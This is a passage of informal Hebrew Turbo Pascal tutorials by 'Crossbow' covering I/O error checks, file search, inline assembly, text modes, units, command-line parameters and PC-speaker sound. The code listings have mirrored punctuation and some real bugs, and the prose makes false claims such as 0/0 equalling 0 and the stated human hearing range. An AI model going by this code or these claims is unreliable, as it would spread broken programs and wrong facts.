נפעיל משהו שנקרא ( I / O Checking Systemמערכת בדיקה קלט \ פלט) ,שבעצם
מזהה מצב של שגיאה .עכשיו ,כל שגיאה מיוצגת במספר מסויים .במערכת בדיקת
קלט \ פלט המספר אפס הוא אין שגיאה .כל מספר ששונה מאפס הוא שגיאה .טוב,
אתם בטח מכירים את התזכורת בפסקל .תזכורת ,למי שלא זוכר ,זה בעצם מילים
בקוד מקור שאין להם ערך של קוד ,יעני ,הקומפיילר (מהדר) מתעלם מהם .אז,
למה זה טוב? זה טוב בעיקר להזכיר למתכנת ולכל האנשים שאמורים לקרוא את
הקוד מקור מה זה עושה ,בקיצר ,במילה אחת ,תיזכורות .כל תזכורת בפסקל תהיה
בין גרשיים מסולסלות כאלה {} .אם אתם משתמשים בעורך בתצורת אם אס דוס של
טורבו פסקל שבע כמוני ,אתם תראו את כל התזכורות בצבע אפור כהה .עכשיו ,רק
שתדעו ,יש טקסטים בפסקל שנכתבים כמו תזכורות ,אבל הקומפיילר לא מתעלם מהם
אלא מקמפל אותם .בדרך כלל זה הגדרות שימוש בזכרון גבוה ונמוך .פה זה יהיה
הפעלת בדיקת הקלט \ פלט (תלחצו על קונטרול ושיפט):
;PROGRAM DivideZiro
;VAR X, Y:shortint
BEGIN
;X := 7
;Y := 0
{}-I$
;)WriteLn (X / Y
{}+I$
IF IOResult <> 0 THEN
BEGIN
;)'.WriteLn ('An error has occured
;Exit
;END
.END
549
הסבר
טוב ,פה יש לנו את אותו הקוד של התוכנית מקודם ,אבל עם שיפורים משמעותיים
לאללה .פה אני אסביר את הכל בבת אחת ,ואחר כך שורה אחר שורה .טוב ,בת'כלס
התוכנית יוצרת שני משתנים ,אחד מהם הוא שבע והשני אפס .לאחר ההגדרה של
המשתנים אנחנו מפעילים את הבדיקה של הקלט \ פלט .אחרי זה התוכנית מנסה
לכתוב את התוצאה של חילוק המשתנים אחד בשני (תוצאה לא הגיונית מבחינה
מספרית) ,אחרי הנסיון (שהתוכנית לא תציג על המסך אותו ,כי הוא שגיאה) ,יש
לנו סגירה של הבדיקת קלט \ פלט .אחרי זה ,יש לנו שורה ,שאומרת "אם תוצאת
הבדיקת קלט \ פלט היא לא אפס ,אז ,"...ואחרי זה יש לנו שורת טקסט שאומרת
למשתמש ששגיאה נמצאה ,ואחרי זה יציאה מהתוכנית .וזהו .כל פעם בעצם שאנחנו
פותחים מחדש את הבדיקת קלט \ פלט ,התוצאה מתאפסת באופן אוטומטי .זה בעצם
מאפשר שימוש רב פעמי בבדיקת קלט \ פלט ,מכיוון שאת התוצאה אפשר לכוון רק
באופן לא ישיר ,יעני ,אי אפשר לכתוב לו IOResult := 0והוא יקבל את זה.
עכשיו ,אני יודע שזה לא התפקיד שלי להיות מורה למתימטיקה ,אבל אני רוצה
לעשות הסבר אחרון של "למה חילוק באפס לא חוקי" .אחרי ההסבר יש לי מסר
חשוב לאללה לכל מי שרוצה אי פעם להיות האקר אמיתי ,מקצוען.
חוץ מזה שזה באמת מטומטם לחלק באפס מבחינה לוגית ,יש לזה הסבר אלגברי.
ההסבר הוא ,כזה .אם שלוש כפול שתיים הם שש ,אז נכון שש לחלק לשלוש זה
שתיים וגם שש לחלק לשתיים זה שלוש? והפוך? עכשיו ,נסו לעשות את זה עם אפס
ותראו מה קורה .אם אפס לחלק שש הם מספר כלשהו ,נקרא לו איקס ,אז איקס
כפול אפס זה שש? או איקס כפול שש זה אפס? אפשר להראות אז זה בתבניות ,זה
הכי קל ככה (קונטרול ושיפט):
הבנתם? אז דרך אגב ,מבחינה לוגית אפס חלקי אפס זה כן אפס ,ועל זה אני כל
הזמן מתווכח עם כל מורה לאלגברה שקיים .עכשיו ,הנה המסר החשוב שיש לי:
פיזיקה לא תעזור לכם בהאקינג (אולי פיזיקת חשמל) .כימיה בכלל לא תעזור
לכם ,תנ"ך או לשון בכלל בכלל לא .אבל מתימטיקה כן תעזור לכם בהאקינג .רק
שתדעו ,האקרים טובים בדרך כלל גם יודעים מתימטיקה די טוב .אז יאללה ,אני
מקווה שתעכלו את כל זה ,שלכם,
Crossbow
550
שימוש מתקדם ב TORBO PASCAL
היום נעבוד על שימוש מתקדם בפסקל .מה זה אומר? זה אומר שנבין יותר את
המבנה של קבצים ותיקיות .זה אומר שעכשיו יהיו לנו יותר כלים ואפשרויות
לתכנת את התוכניות שלנו .אבל ,זה גם אומר שנצטרך לעבוד קשה יותר ולהשקיע
יותר .אני מקווה שיש לכם ידע קודם בפסקל ,כי תצטרכו אותו כאן.
טוב ,במאמר הזה יהיו כמה נושאים חשובים :שימוש בחיפוש של קבצים ,השוואה
בין Dos.tpuלבין ,WinDos.tpuשילוב של שפת אסמבלי בתוך פסקל ,שינוי מצב
המסך ובניית קבצים חיצוניים לשימושים אישיים .טוב ,בואו נתחיל!!!
השימוש בחיפוש קבצים מצריך שימוש בסוג משתנה חדש בפסקל .עד עכשיו ,אנחנו
השתמשנו במשתנים מספריים ,משתנים טקסטואליים וגם במשתנים לוגיים .כאן אני
אדגים שימוש בחיפוש קבצים על ידי שני קבצים חיצוניים :אחד מהם הוא הקובץ
החיצוני Dos.tpuוהשני שנשתמש בו הוא .WinDos.tpuכל אחד מהקבצים האלה
יכול להיות משומש בנפרד ,מכיוון שהקובץ WinDos.tpuהוא פשוט גרסא יותר
חדישה לקובץ ...Dos.tpuאבל אני אדגים בשניהם ,ואתם תבחרו בעצמכם מה יותר
קל ונוח ,ובאיזה קובץ נשתמש .הנה קוד ראשון של חיפוש קבצים והצגתם ,על
בסיס ( Dos.tpuהבסיס הישן יותר):
;USES Dos
;VAR VarX:PathStr
BEGIN
;)'\:VarX := FSearch ('*.*', 'C
;))WriteLn (FExpand (VarX
.END
הסברים
טוב ,הרוב צריך להיות מוכר לכם ,אבל למרות זאת ,בתוכנית הזאת בלבד אני
אסביר את כל השורות ,בתור חזרה קצרה .השורה הראשונה ברורה :היא מכריזה על
שימוש בקובץ .Dos.tpuהשורה השנייה מכריזה על משתנה .VarXסוג המשתנה הוא
,PathStrוהוא סוג משתנה חדש שמציין מחרוזת שהיא מיקום מסויים בתוך הכונן
שלנו .שורה שלישית מתחילה את גוף התוכנית .שורה רביעית משתמשת בפונקצייה
חדשה שנקראת .FSearchהארגומנטים כאן ברורים :הארגומנט הראשון הוא לקבלת
שם הקובץ שיש לחפש ,והארגומנט השני הוא לקבלת המיקום הנוכחי .השורה
החמישית מציגה את המשתנה VarXתוך שימוש בפונקציית .FExpandהרעיון של
FExpandהוא להציג את המיקום והשם המלא של הקובץ .טוב ,זה היה שימוש קצר
בקובץ ,Dos.tpuועכשיו נעבור לקובץ השני ,שהוא .WinDos.tpuבכל הנוגע
לחיפוש קבצים אני ממליץ על הקובץ ,WinDos.tpuועוד מעט תבינו למה.
הנה קוד המקור של חיפוש קבצים על בסיס :WinDos.tpu
551
;USES WinDos
;VAR VarX:TSearchRec
BEGIN
;)FindFirst ('*.*', faDirectory + faArchive, VarX
WHILE DosError = 0 DO
BEGIN
;)Write ('Name: ', VarX.Name
;)Write (' Attribute: ', VarX.Attr
;)Write (' Size: ', VarX.Size
;)WriteLn (' Time: ', VarX.Time
;)FindNext (VarX
;END
.END
הסברים
TYPE
TSearchRec = RECORD
;Fill:array[1..21] of byte
;Attr:byte
;Time:longint
;Size:longint
;Name:array[0..12] of char
;END
552
הסברים
יתרונות וחסרונות
טוב ,הקובץ Dos.tpuמסורבל הרבה יותר מבחינת מציאת קובץ .ישנם מחשבים
ששימוש בפונקציית FSearchלא עובדת אצליהם כמו שצריך ,או שמלווה בשגיאות.
לעומת זאת ,בקובץ WinDos.tpuיש לנו סיווג יפה של כל קובץ ,הכל מסודר.
החסרון הגדול של FindFirstושל FindNextהוא שהמידע נמחק כל פעם שיש לנו
קריאה לפונקציית .FindNextלמרות זאת ,הכנתי לכם כאן קוד קצר ששומר את
המאפיינים של כל קובץ בתוך הזיכרון:
;USES WinDos
VAR
;VarX:TSearchRec
;VarY:integer
;]FName:array[1..500] of string[13
;]FAttr:array[1..500] of string[11
;FSize:array[1..500] of longint
;FTime:array[1..500] of longint
BEGIN
;VarY := 1
;)FindFirst ('*.*', faDirectory + faArchive, VarX
WHILE DosError = 0 DO
BEGIN
;)Write ('Name: ', VarX.Name
;)Write (' Attribute: ', VarX.Attr
;)Write (' Size: ', VarX.Size
;)WriteLn (' Time: ', VarX.Time
;FName[VarY] := VarX.Name
;FAttr[VarY] := VarX.Attr
;FSize[VarY] := VarX.Size
;FTime[VarY] := VarX.Time
;)Inc (VarY
;)FindNext (VarX
;END
553
.END
דבר אחרון שרציתי להראות לפני שנעבור לשפת אסמבלי בפסקל ,הוא השימוש
במאפיין פתיחה של קבצים ,שידוע גם בשפה האנגלית בשם .Attributeעכשיו,
ישנם כמה סוגי ,Attributeיש כאלה שיש בהם שימוש בפסקל אבל לא בתוך מערכת
.Dosהנה כל סוגי מאפייני הקובץ על פי שפת פסקל:
faArchive
faHidden
קובץ חבוי מעיני המשתמש ,ידוע בשם מוסתר בעברית .קובץ מוסתר בפסקל מציין
גם קבצי מערכת (שבדרך כלל גם מוחבאים מעיני המשתמש הרגיל).
faDirectory
זה לא קובץ ,אלא תיקייה .כאשר אנחנו משתמשים בחיפוש קבצים בפסקל ,הוא
מתייחס גם לתיקיות כאל קבצים ,ולכן יצרו מאפיין מיוחד שנקרא ,Directory
יעני תיקייה או ספרייה.
faReadOnly
קובץ קריאה בלבד ,יעני ,אי אפשר לכתוב עליו אלא רק לקרוא אותו.
כן ,לכל אוהבי האסמבלי ,גם זה יכול להיות משומש בתוך פסקל .כל מה שצריך
לעשות זה קריאה לאסמבלי .הנה דוגמא לקוד מקור שעושה שימוש באסמבלי:
BEGIN
ASM
;MOV Ax, 5
;ADD Ax, 3
;END
.END
הסברים
טוב ,אין הרבה מה להסביר .מיש שמבין קצת קצת קצת באסמבלי ,יודע שהגדרנו
את האוגר Axאת הערך ,5ואז הוספנו .3יעני ,בסוף התוכנית ,ערכו של אוגר
Axהוא .8מי שמתעניין באסמבלי וחושב שפסקל הוא קצת חלש מדי בשבילו ,יכול
עכשיו להנות משילוב של שתי שפות לקומפיילר אחד :פסקל שהיא שפה עילית,
ואסמבלי שהיא שפת סף .עוד דבר חשוב זה העובדה שלפסקל יש ,Debuggerיעני,
אם הוא רואה קוד שהוא לא מבין ,הוא מפסיק את הפעולה של התוכנית ,וזה תקף
גם לגבי קוד משולב באסמבלי וגם לגבי קוד רגיל בפסקל.
554
שימוש בגודל טקסט ומסך שונים
כן ,מקטע מאוד טכני כמו אסמבלי אנחנו עוברים ישר לקטע היותר גרפי .עכשיו,
בשביל זה אנחנו נשתמש בקובץ חיצוני אחר שנקרא ...Crt.tpuעכשיו ,אני הולך
להציג כאן קוד מקור שמשנה את גודל המסך ,ואחריו הסברים:
;USES Crt
;VAR OrigMode, LastCol, LastRow:word
BEGIN
;OrigMode := LastMode
;)TextMode (Lo (LastMode) + Font8x8
;LastCol := Lo (WindMax) + 1
;LastRow := Hi (WindMax) + 1
;ClrScr
;)TextColor (White
;)WriteLn ('Last Col = ', LastCol
;)WriteLn ('Last Row = ', LastRow
;WriteLn
;)'...WriteLn ('Press any key to continue
;ReadKey
;)TextMode (OrigMode
;END
הסברים
טוב ,בשורה הראשונה אנחנו מצהירים על שימוש בקובץ החיצוני שלנו.Crt.tpu ,
בשורה השנייה אנחנו יוצרים שלושה משתנים מסוג .Wordהמשתמש הראשון יציין
את גודל המסך האחרון שלנו ,המשתנה השני יציין את השורה האחרונה אצלנו,
והמשתנה השלישי יציין את הטור האחרון אצלנו .כאשר מתחילה התוכנית ,הדבר
הראשון שאנחנו עושים הוא לשמור את גודל המסך האחרון שלנו בתוך המשתנה.
פעולה זו חשובה מאוד ,מכיוון שאם תוכנית לא תשחזר את גודל המסך ,מערכת
Dosתהיה עם רזולוצייה שהיא לא תוכננה לה ,וזה לא נראה טוב ...אחר כך,
אנחנו נשתמש בתוך הזיכרון הנמוך כדי לגרום למסך להראות לנו גדול יותר (או
יותר נכון ,לטקסט להיות קטן יותר ביחס לגודל המסך) .תבינו ,גודל המסך
בברירת המחדל של Dosהוא 80על .25אחרי הקוד שעשינו ,גודל המסך הפך
להיות 80על .43אחר כך ,אנחנו לוקחים שני משתנים ,הראשון מקבל מהזיכרון
הנמוך את החלון ומוסיף לו עוד אחד לערך (כך שמשתנה זה יציין לנו את השורה
האחרונה) ,ואת המשתנה השני ,ששולף מתוך הזיכרון הגבוה ערך ומוסיף לו גם
אחד לערך (כך שהוא יציין לנו את הטור האחרון) .עכשיו אנחנו נציג בתור פלט
את הערכים של המשתנים האחרונים שהגדרנו ,נחכה ללחיצה על מקש כלשהו על ידי
שימוש בפונקציית ( ReadKeyשנמצאת בתוך הקובץ החיצוני שלנו,)Crt.tpu ,
ולבסוף אנחנו משחזרים את גודל המסך שהיה לפני ששינינו אותו .רק דבר אחד
לא הסברתי ,וזה ...Font8x8עכשיו ,לכאורה אנחנו משנים את גודל המסך .גודל
המסך נמדד על פי יחידות של הסמן המהבהב ,שנקרא Cpבתוך פסקל .עכשיו ,מה
שקורה הוא שאנחנו לא מגדילים את המסך ,אלא מקטינים את גודל הסמן ,ככה
שיוצא שמספר היחידות שלנו עולה ,ולכאורה המסך גדל .עכשיו ,הנה כל סוגי
השינויים בגודל המסך שאפשר לעשות:
555
Font8x8
כמו מקודם ,מגדיל רק את ערך קורדינטת Yשל המסך לערך הגבוה .43משומש על
ידי מסך Egaוגם על ידי מסך .Vgaמבחינת ערך מספרי ,הערך שלו הוא .256
Mono
משומש על ידי מסכי .Hgcמצב Monoכמעט לא משומש בתוכניות .הערך המספרי של
Monoהוא ,7והוא משנה את מצב המסך לגודל של 80על 25ומסך שחור לבן.
Co80
משומש על ידי מסכי .Cgaמצב Co80הוא ברירת המחדל במערכת שלנו .Dos :המסך
יהיה צבעוני בעל גודל של 80על .25הערך של Co80הוא .3
Bw80
משומש על ידי מסכי .Cgaמצב Bw80הוא כמו מצב Co80אבל בו אין צבעים (מסך
שחור לבן) ,לעומת Co80הצבעוני .הערך של מצב Bw80הוא .2
Co40
משומש על ידי מסכי .Cgaמצב Co40הוא בדיוק כמו מצב ברירת המחדל (,)Co80
אלא שבמצב Co40גודל המסך הוא 40על .25הערך שלו הוא .1
Bw40
משומש על ידי מסכי .Cgaמצב Bw40הוא כמו מצב Co40אלא שלו אין צבעים.
הערך שלו הוא .0
לא פעם קורה שבמערכת מסויימת מצב מסויים לא עובד .השגיאה הכי נפוצה היא
השימוש בזיכרון נמוך .הזיכרון הנמוך משומש בדרך כלל למצב ברירת המחדל
ולמצב Font8x8בלבד .כל שימוש אחר הוא זיכרון גבוה ( .)Hiבדקו גם שלמסך
שלכם מחוברים האדפטורים שציינתי.
556
בניית קבצים חיצוניים
כן ,גם אתם יכולים לבנות קבצי tpuבעצמכם .הלמידה ליצירת קבצים חיצוניים
היא קשה מאוד ,אבל משתלמת .טוב ,בואו נתחיל לבנות לנו קובץ חיצוני.
בקבצים חיצוניים יש לפעמים שימושים באסמבלי ,כך שעדיף שיהיה לכם ידע
באסמבלי .טוב ,כדי לציין בניית קובץ חיצוני ,קודם כל נציין את שם היחידה
על ידי שימוש במילת המפתח Unitואחריה את שם היחידה .לאחר מכן נכנס לחלק
שנקרא .Interfaceחלק זה מציין את התחלת הקוד הציבורי של הקובץ החיצוני.
בדרך כלל משומשים שם מחלקות וקונסטרקטורים .הקונסטרקטור ()Contructor
מוכר למפתחים של ג'אווה :הוא בעצם בונה את המחלקה שאותה יצרת .לאחר החלק
של ,Interfaceמגיע החלק המעשי שנקרא .Implementationחלק זה הוא יישום
כל הפרוצדורות והפונקציות שבנינו לעצמנו יחד עם הקונסטרקטור .דבר אחרון
שרציתי להסביר זה השימוש של המילה .Virtualמילה זו באה אחרי מאפיין של
אובייקט שאנחנו יצרנו בעזרת הקונסטרקטור ,והתפקיד שלה הוא לחבר את הפעולה
של הקונסטרקטור בזמן ההרצה עם הקוד המתאים .השימוש העיקרי במילת Virtual
היא בפרוצדורות פנימיות של אובייקטים .טוב ,אני חושב שכיסינו את הרוב
בכלליות .עכשיו אנחנו יכולים כבר לנסות לבנות לנו מחלקה .אנחנו נבנה
מחלקת אובייקט בשם MyBallשתציין כדור .עכשיו ,יהיו לנו כמה מאפיינים:
צבע ,מיקום ואם הוא נראה או לא .יהיו לנו גם פונקציות :שינוי הצבע ,שינוי
המיקום ,הסתרה שלו והצגה שלו .הנה קוד המקור שיצרתי בשביל הדוגמא הזאת:
;UNIT Ball
INTERFACE
;USES Crt
TYPE
MyBall = OBJECT
;X, Y:byte
;Visible:boolean
;Color:integer
;)CONSTRUCTOR Init (InitX, InitY, InitClr:integer
;PROCEDURE MoveBall (NewX, NewY:integer); VIRTUAL
;PROCEDURE Show; VIRTUAL
;PROCEDURE Hide; VIRTUAL
;FUNCTION SetColor:integer
;FUNCTION IsVisible:boolean
;END
IMPLEMENTATION
;)CONSTRUCTOR MyBall.Init(InitX, InitY, InitClr:integer
BEGIN
;X := InitX
;Y := InitY
;Color := InitClr
;END
;)PROCEDURE MyBall.MoveBall(NewX, NewY:byte
BEGIN
;X := NewX
;Y := NewY
;END
557
;)PROCEDURE MyBall.SetColor(NewColor:integer
;Color := NewColor
;END
;PROCEDURE MyBall.Show
BEGIN
;Visible := True
;END
;PROCEDURE MyBall.Hide
BEGIN
;Visible := False
;END
.END
מילים לסיום
עכשיו אתם יודעים איך ליצור קבצים חיצוניים באופן כללי .כמובן שיש עוד
הרבה מה לדבר ,אבל זה הרעיון בכלליות :בניית האובייקט ומאפייניו ,והגדרה
מחדש על ידי פונקציות .עכשיו אני מקווה שאתם מבינים יותר טוב איך בנויה
שפת פסקל ,ואיך התוכנית מתקשרת עם פונקציות .עוד דבר חשוב שלמדנו היום זה
השימוש באסמבלי בתוך פסקל ,וגם למדנו את החיפוש של הקבצים שגם הוא פרק
חשוב מאוד בפסקל .מקווה שלמדתם הרבה ,ושעכשיו תוכלו ליצור תוכניות יותר
מעניינות מבחינה גרפית ומבחינה טכנית .שלכם,
Crossbow
558
עבודה עם פרמטרים בפסקל
טוב ,היום נעשה את אחד הדברים שאם אס דוס הכי מתבסס עליהם .עד היום ,אם
ידעתם פסקל ,ידעתם שכאשר אנחנו מכניסים פקודה היא מתבצעת ,אבל רק פקודה
באופן מדוייק .לדוגמא ,בואו ננסה לבנות פקודה שתכנס לתיקייה ,כמו הפקודה
הנודעת Cdבתוך דוס .לחצו על קונטרול ושיפט:
VAR
;CurrentDir:string
;EnterDir:string
BEGIN
;)GetDir(0,CurrentDir
;)ReadLn(EnterDir
;)ChDir(CurrentDir + '\' + EnterDir
.END
הסברים
עבודה עם פרמטרים
טוב ,בדוס הדברים פועלים אחרת .אתה לא כותב ,Cdלוחץ אנטר ,ואז כותב את
השם של התיקייה ולוחץ אנטר שוב .בדוס אתה כותב Cd NewDirולוחץ אנטר .אז,
איך עושים את זה? עם פרמטרים כמובן!!! פרמטר בפסקל הוא טקסט שמופרד משאר
הטקסט על ידי רווח .פרמטרים מסומנים במספרים .המספר אפס הוא מספר מיוחד,
הוא מציין את המיקום של הקובץ .אחרי זה יש מספרים.
דוגמא
טוב ,הדרך הכי טובה היא שפשוט תראו .מכירים את הפקודה Echoבדוס? למי שלא
מכיר ,שייכנס לדוס ויכתוב Echo Wass upוילחץ אנטר .עכשיו ,למי שהבין,
הפקודה מקבלת פרמטר וכותבת אותו .בערך ...תלחצו קונטרול ושיפט:
BEGIN
IF ParamCount = 0 THEN
BEGIN
;WriteLn
END
ELSE
;))WriteLn(ParamStr(1
.END
.END
559
הסברים
זה לא עובד!!!
נכון ,אם תבדקו את התוכנה טוב טוב ,תראו שזה לא כל כך יפעל .זה מכניס רק
מילה אחת .לדוגמא ,אם נכתוב ,Write Hello Worldבתנאי שלתוכנה שבנינו
קוראים ,Writeאז הוא יכתוב רק Helloולא את הכל .למה? כי ציינו שאנחנו
רוצים רק את הפרמטר הראשון .הנה התוכנית המלאה .תלחצו קונטרול ושיפט:
;PROGRAM WriteSomething
VAR
;ParamTimes:longint
;VarX:longint
BEGIN
IF ParamCount = 0 THEN
BEGIN
;WriteLn
END
ELSE
;ParamTimes := ParamCount
FOR VarX := 1 TO ParamTimes DO
BEGIN
;)' ' ,)Write(ParamStr(VarX
;END
.END
.END
הסברים
טוב ,פה אנחנו בונים לופ ,שעולה מאחד (פרמטר ראשון) עד לפרמטר הסופי ,וזה
בעצם מספר הפרמטרים בתוכנית .נסו ,ותבדקו.
סיום
הפרמטרים ,כמו שגיליתם ,הם דבר מועיל לאללה ,ועוזר מאוד .זה לא קל להשתמש
בפרמטרים ,אבל אחרי זמן מסויים ,אתם תתרגלו .אז תהנו ,ואם יש לכם בעיות
תתפסו אותי באייסיקיו .שלכם,
Crossbow
560
עוד קצת על פתרון בעיות בשפת פסקל
בטח כבר קרה לכם המון בעיות הרצה ( .)Runtime Errorsלדוגמא :בניתם מחשבון
חביב כזה ,שעושה חיבור ,חיסור ,כפל ,חילוק ,ומבקש שני מספרים מהמשתמש.
הנה לדוגמא ,קוד מקור למחשבון כזה (קונטרול ושיפט):
;PROGRAM Calculator
VAR
;VarX:longint
;VarY:longint
BEGIN
;)' :Write('Insert one number please
;)ReadLn(VarX
;)' :Write('Insert another number please
;)ReadLn(VarY
;)WriteLn(VarX, ' + ', VarY, ' = ', VarX + VarY
;)WriteLn(VarX, ' - ', VarY, ' = ', VarX - VarY
;)WriteLn(VarX, ' * ', VarY, ' = ', VarX * VarY
;)WriteLn(VarX, ' / ', VarY, ' = ', VarX / VarY
.END
תמיד אמרו לכם שמחשבים זה מתימטיקה ,נכון? חחחחחחח ...טוב ,עכשיו ,פה הכל
מתפקד נהדר ,תבדקו אם אתם לא מאמינים לי ...חוץ מדבר אחד שיכול לקרות...
מה יקרה אם המספר השני ,שמיוצג בתור המשתנה ,VarYיהיה שווה לאפס? כמובן,
יש אפשרות כזאת תמיד ,יש גם אפשרות שהמשתמש יכניס מינוסים ,אבל אין לנו
בעייה עם מינוסים ...אז בואו נראה מה קורה אם נכניס אפס .העתקתי את כל
הפלט של התוכנית לפה (קונטרול ושיפט שוב):
הסברים
בהתחלה הייתה שורת טקסט שהיא פלט מהתוכנית ,ואז הכנסנו את .8
אחרי זה הייתה עוד שורת טקסט שהיא גם פלט מהתוכנית ,ואז הכנסנו את .0
בחיבור בין שני המספרים אין לנו בעייה ,התוצאה היא .8
בחיסור בין שני המספרים גם אין לנו שום בעייה ,זה יוצא גם .8
בכפל ביניהם אין לנו שום בעייה ,התוצאה יוצאת .0
בחילוק יש בעייה :ניסינו לחלק שמונה באפס.
מה קרה?
טוב ,מי שזוכר את שיעורי מתימטיקה (אבל אז קראו לזה "חשבון" )...יודע שזה
לא אפשרי לחלק באפס .למה? בגלל שאם שמונה לחלק לשניים זה ארבע ,אז ארבע
כפול שתיים זה שמונה ,נכון? אם שמונה לחלק לאפס זה ,Xאז Xכפול אפס זה
שמונה ,נכון? לא נכון!!! ובגלל זה אסור לחלק באפס!!!
561
איך פותרים את הבעייה?
טוב ,זוכרים שכתבנו שורה שמקבלת את המספר השני? בואו ננסה לשפר אותו קצת,
ככה שאם יש אפס אז הוא יצא מהתוכנית (קונטרול ושיפט):
;PROGRAM Calculator
VAR
;VarX:longint
;VarY:longint
BEGIN
;)' :Write('Insert one number please
;)ReadLn(VarX
;)' :Write('Insert another number please
;)ReadLn(VarY
IF VarY = 0 THEN
BEGIN
;)'WriteLn('Error #200: Can''t divide by ziro
;Exit
;END
;)WriteLn(VarX, ' + ', VarY, ' = ', VarX + VarY
;)WriteLn(VarX, ' - ', VarY, ' = ', VarX - VarY
;)WriteLn(VarX, ' * ', VarY, ' = ', VarX * VarY
;)WriteLn(VarX, ' / ', VarY, ' = ', VarX / VarY
.END
הסברים
טוב ,פה יש לנו מצב ,שאם יש אפס ,אז הוא כותב שאסור לחלק באפס ואז יוצא
מהתוכנית כדי לא להכנס למצב של שגיאה.
זיהוי שגיאות
אפשר לזהות שגיאה בקלות על ידי כלי מאוד שימושי בשפת פסקל ,שנקרא בעברית:
תוצאת קלט\פלט ,באנגלית ,Input\Output Result :או בקיצור .I\O Result :לא
משנה איך תקראו לזה ,זה בעצם מחזיר מספר של שגיאה .עכשיו ,כשאין שגיאה
הכלי הזה מחזיר את המספר אפס .כאשר יש משהו ששונה מאפס ,יש שגיאה .דוגמא
טובה היא קוד המקור הבא ,שטוען תוכנית ואז מחזיר את כל השגיאות .אם עדיין
לא קלטתם ,זה הזמן ללחוץ על קונטרול ושיפט:
;PROGRAM FileChecking
;USES Crt
;VAR FileCool: FILE OF Byte
BEGIN
;))Assign(FileCool, ParamStr(1
;)Reset(FileCool
IF IOResult = 0 THEN
))WriteLn('File size in bytes: ', FileSize(FileCool
ELSE
562
;)'WriteLn('File not found
.END
הסברים
הקובץ מתקבל בתוך שורת הפקודה .אחר כך יש בדיקה :האם עלתה שגיאה? אם הוא
מחזיר אפס (אין שגיאה) אז הוא כותב את הגודל של הקובץ .אם הוא יצא מספר
ששונה מאפס ,אז כנראה הקובץ לא קיים ,ויש פלט שכותב שהקובץ לא קיים.
לגרום לשגיאות
יש כלי חכם מאוד שגורם לשגיאות בלי לעשות שגיאה אמיתית .השימוש לזה הוא
בדרך כלל על ידי מתכנתים שרוצים לבדוק את העמידות של התוכנית שלהם ,או
כשמישהו רוצה לבנות דיבאגר .הנה דוגמא לכלי הזה (קונטרול ושיפט):
BEGIN
;)RunError(200
.END
הסברים
הכלי כמו שבטח הבנתם ,הוא .RunErrorאחרי זה צריך לציין בסוגריים את מספר
השגיאה .לדוגמא ,פה השגיאה היא חילוק באפס .ככה אפשר לבדוק מספר של כל
שגיאה .אפס לדוגמא ,זאת שגיאה לא מזוהה ,יעני הוא לא כותב פירוט עליה.
המספר אחד זה קוד דוס לא חוקי .שתיים זה הקובץ לא נמצא .שלוש זה מיקום לא
נמצא .ארבע זה עומס קבצים פתוחים על הזיכרון .יש מלא מלא מלא שגיאות שכמו
שהבנתם ,מיוצגות על ידי מספרים .שגיאות הם דבר חיוני מאוד .לדוגמא :אם
התוכנית לא הייתה עוצרת בשגיאה מספר ארבע ,הזיכרון שלכם היה קורס .בעצם,
כל פעם שעולה שגיאה יש עצירה של התוכנית.
אני מקווה שאתם מבינים קצת על איך עובדים עם ניפוי שגיאות יותר טוב ממה
שהבנתם מקודם .זיבולי שכל ,בעיות עם שומרי מסך ושאר ירקות ייתקבלו אצלי
באי מייל ,או באייסיקיו .שלכם,
Crossbow
563
קול וצלילים לפסקל
אם כבר קראתם את כל הכתבות שלי על פסקל ,צריכים להיות לכם הדברים הבאים:
)1עורך של פסקל.
)2קומפיילר של שפת פסקל.
)3ידע בסיסי בפסקל.
)4הגיון כלשהו בפסקל ,ובתכנות בכלל.
)5לפחות תוכנית אחת שנבנתה בפסקל.
)6אם אס דוס.
אם אין לכם אחד מהדברים הבאים ,תשיגו עורך וקומפיילר ,תשיגו אם אס דוס אם
אין לכם (חחחחח ,)...תקראו את הכתבות שכתבתי (היו 3כתבות ,לא כולל את
הכתבה הזאת) ,ונסו לבנות תוכנית בפסקל (לא משהו כבד ,תבנו מחשבון למשל).
טוב ,עכשיו לעבודה .היום אנחנו נלמד על האפקטים הקוליים בפסקל .יש כמה
דברים שאתם צריכים לדעת על האפקטים האלה:
טוב ,למי שלא הבין :הקולות בפסקל יוצאים מהקופסא של המחשב ,משהו שבעצם
דומה לסאונד בבונוס ,שלא מכוון על " ."Sound Blasterעוד דבר חשוב ,אני
חוזר ומדגיש לעקוב באופן צמוד אחרי ההוראות ,כי פעם יצא לי צליל מהמחשב
שאחרי שנייה כל הכלבים בשכונה באו לבית שלי...
טוב ,תפתחו את העורך של פסקל ,ותכתבו את השורות הבאות .אחרי השורות האלה
יבואו הסברים (תלחצו על קונטרול ושיפט):
;USES Crt
BEGIN
;)Sound (500
;)Delay (20000
;NoSound
.END
הסברים
:USES Crtאתם כבר מכירים ,אנו משתמשים בקובץ חיצוני שנקרא .Crt.tpu
:BEGINגם את זה אתם מכירים ,זאת ההתחלה של התוכנית.
:Soundזאת הפונקצייה שמגדירה את הסאונד ,שנמדד ביחידה הרץ.
:Delayזה הזמן שיהיה את הסאונד ,נמדד ביחידה מילי -שנייה.
:NoSoundזה מפסיק את הסאונד.
:ENDטוב נו ,זה סוף התוכנית.
Sound
564
טוב ,הצלילים החוקיים בפסקל נעים בין 0הרץ לבין 65535הרץ .יש סבירות
גבוהה שלא תשמעו 0הרץ (אלא אם כן אתם משוגעים) וגם לא את 65535הרץ (אלא
אם כן אתם כלבים) .העוצמות שנשמעות לאוזן האנושית הן בין 20הרץ לבין
12000הרץ .וגם זה בקושי.
Delay
זה הזמן שהסאונד ינגן .העיקובים החוקיים בפסקל נעים בין 0מילי שניות
לבין 65535מילי שניות .יש דרך לרמות את זה ,שאותה אני אסביר אחר כך ,כך
שאפשר ליצור עיקוב ארוך יותר מהשיניים הקדמיות של סוס ממוצע ...טוב ,הנה
התשובה לאיך לעבוד על העיקוב .מה יותר טוב מהאקר? שני האקרים!!! והנה
התשובה :יוצרים פשוט שני עיקובים אחד אחרי השני!!! זה הולך בערך ככה ,זה
סתם קצת חשיבה (תלחצו על קונטרול ושיפט):
;USES Crt
BEGIN
;)Sound (500
;)Delay (65535
;)Delay (65535
;NoSound
.END
טוב ,כמו שאתם רואים אפשר לעשות עיקוב אחרי עיקוב ,ובסוף להגיע לסאונד
שנמשך עד אינסוף (בעזרת לולאה אינסופית) וגורם לכאב ראש חזק במיוחד .אם
אתם ממש ממש ממש עצבניים על מישהו ,נסו לבנות תוכנה שמשתמשת בעוצמות הרץ
